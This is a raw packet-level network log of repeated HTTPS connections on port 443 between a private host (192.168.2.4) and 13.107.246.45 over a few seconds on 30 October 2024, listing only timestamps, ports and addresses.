Oct 30, 2024 06:17:02.627393007 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.629282951 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.629302979 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.629369974 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.629478931 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.629487991 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.658869028 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.659276009 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.659334898 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.659368038 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.659379005 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.659389019 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.659393072 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.661375999 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.661396027 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.661473036 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.661607027 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.661616087 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.669157028 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.669439077 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.669492006 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.669524908 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.669531107 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.669539928 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.669543982 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.671444893 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.671453953 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:02.671658039 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.671658039 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:02.671672106 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.314486980 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.315228939 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.315268993 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.315794945 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.315809965 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.330560923 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.330921888 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.330967903 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.331352949 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.331367016 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.361448050 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.361809015 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.361870050 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.362193108 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.362205982 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.419872999 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.420243025 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.420269966 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.420628071 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.420638084 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.437858105 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.439033985 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.439057112 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.439614058 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.439620972 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.444526911 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.444611073 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.444659948 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.445106983 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.445118904 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.445127964 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.445132971 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.456348896 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.456374884 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.456440926 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.457055092 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.457067966 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.459176064 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.459424973 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.459498882 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.459567070 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.459567070 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.459606886 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.459630966 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.471417904 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.471466064 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.471529007 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.471647024 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.471664906 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.491385937 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.491969109 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.492017984 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.492069006 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.492077112 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.492086887 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.492093086 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.496005058 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.496032000 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.496083021 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.496221066 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.496234894 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.553133965 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.553452969 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.553514957 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.553550005 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.553570032 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.553591967 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.553605080 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.555912018 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.555924892 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.555999041 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.556150913 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.556162119 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.572525024 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.572871923 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.572972059 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.572973013 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.573040009 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.573065996 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.575120926 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.575165033 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:03.575232029 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.575360060 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:03.575375080 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.198432922 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.205583096 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.245616913 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.250659943 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.250660896 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.297521114 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.318758011 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.329061985 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.335445881 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.335463047 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.335937977 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.335943937 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.336194038 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.336205959 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.336544991 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.336550951 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.339987040 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.340013027 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.340398073 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.340404987 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.340832949 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.340840101 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.341187954 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.341192961 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.341495991 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.341507912 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.341841936 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.341852903 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.465256929 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.465343952 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.465591908 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.469176054 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.469249010 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.469304085 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.469465971 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.469588041 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.469633102 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.470560074 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.470685959 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.470733881 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.478270054 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.480146885 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.480206013 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.528619051 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.528650045 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.528667927 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.528675079 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.536715984 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.536745071 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.536761045 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.536768913 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.539333105 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.539333105 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.539340973 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.539351940 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.549380064 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.549406052 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.549421072 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.549431086 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.550352097 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.550364971 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.550374031 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.550378084 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.556135893 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.556169987 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.556238890 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.557591915 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.557630062 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.557653904 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.557661057 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.557688951 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.557720900 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.558448076 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.558458090 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.559807062 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.559818983 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.559876919 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.560028076 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.560055017 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.560103893 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.560106993 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.560117006 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.560214996 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.560226917 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.560287952 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.560301065 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:04.560376883 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:04.560390949 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.284153938 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.284936905 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.284964085 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.285427094 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.285433054 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.287838936 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.288127899 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.288141012 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.288491011 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.288496971 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.301532984 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.301995039 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.302007914 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.302356005 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.302361012 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.311269045 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.311590910 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.311615944 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.311948061 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.311954021 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.314969063 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.315257072 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.315263033 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.315589905 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.315593958 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.411056995 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.411266088 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.411345959 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.411479950 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.411504984 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.411531925 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.411545992 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.414988995 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.415033102 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.415123940 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.415371895 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.415383101 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.417229891 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.417293072 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.417335987 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.417443991 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.417460918 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.417470932 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.417479038 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.419641018 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.419677019 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.419750929 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.419936895 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.419951916 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.432699919 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.433465958 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.433526039 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.433563948 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.433576107 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.433587074 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.433593988 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.435538054 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.435549974 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.435805082 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.435805082 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.435823917 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.443671942 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.443852901 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.443902016 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.443938971 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.443945885 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.443954945 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.443959951 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.446283102 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.446311951 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.446371078 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.446532965 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.446547985 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.448757887 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.449382067 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.449451923 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.449496031 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.449501038 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.449512005 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.449515104 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.451792955 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.451812983 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:05.451874018 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.451994896 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:05.452003956 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.153866053 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.154594898 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.154619932 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.155088902 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.155093908 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.160465002 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.160764933 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.160780907 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.161099911 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.161104918 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.163732052 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.164138079 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.164145947 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.164539099 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.164545059 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.184870005 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.185236931 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.185266018 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.185734987 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.185739994 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.187021017 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.187282085 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.187308073 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.187608957 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.187614918 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.285104990 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.285908937 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.285985947 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.286025047 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.286025047 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.286041021 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.286051989 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.289899111 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.289928913 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.290035009 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.290205002 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.290220022 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.293277025 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.293534040 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.293582916 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.293654919 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.293669939 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.294795036 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.295175076 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.295234919 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.295304060 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.295308113 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.295319080 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.295322895 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.297507048 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.297532082 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:06.297593117 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:06.297907114 CET	49815	443	192.168.2.4	13.107.246.45
